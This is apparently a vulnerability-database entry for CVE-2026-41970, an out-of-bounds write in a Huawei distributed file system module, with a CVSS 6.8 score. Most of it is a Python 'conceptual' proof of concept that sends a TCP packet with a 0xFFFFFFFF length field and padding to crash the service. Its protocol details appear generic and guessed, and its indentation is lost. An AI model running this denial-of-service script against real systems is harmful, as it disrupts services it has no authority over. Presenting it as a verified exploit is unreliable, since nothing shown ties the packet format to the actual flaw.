Out-of-bounds write vulnerability in the distributed file system module. Impact: Successful exploitation of this vulnerability may affect availability.
CVSS Details
CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H
Configurations (Affected Products)
No configuration data available.
参考华为2026年5月安全公告
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket
import struct
# Conceptual Proof of Concept (PoC) for CVE-2026-41970
# Target: Huawei Distributed File System Module
# Description: This script attempts to trigger an out-of-bounds write
# by sending a malformed packet to the vulnerable service.
def trigger_vulnerability(target_ip, target_port):
try:
# Establish TCP connection to the target service
print(f"[*] Connecting to {target_ip}:{target_port}...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target_ip, target_port))
# Construct malicious packet
# Header: Normal operation code (e.g., 0x01 for Write Request)
# Length field: Set to an unusually large value to bypass checks
# Payload: Junk data to overflow the buffer
operation_code = 0x01
malicious_length = 0xFFFFFFFF # Max 32-bit integer to trigger logic error
padding = b"A" * 1024 # Data to be written out of bounds
# Pack the header (Big-endian)
header = struct.pack(">HI", operation_code, malicious_length)
full_payload = header + padding
print("[*] Sending malicious payload...")
s.send(full_payload)
# Wait for response or timeout (Service might crash)
response = s.recv(1024)
print("[+] Received response (might indicate failure to trigger or service still running)")
except socket.timeout:
print("[!] Connection timed out. Service may have crashed (DoS triggered).")
except ConnectionResetError:
print("[!] Connection reset by peer. Service likely crashed.")
except Exception as e:
print(f"[-] An error occurred: {e}")
finally:
s.close()
# Usage Example (Uncomment to test)
# trigger_vulnerability("192.168.1.100", 8888)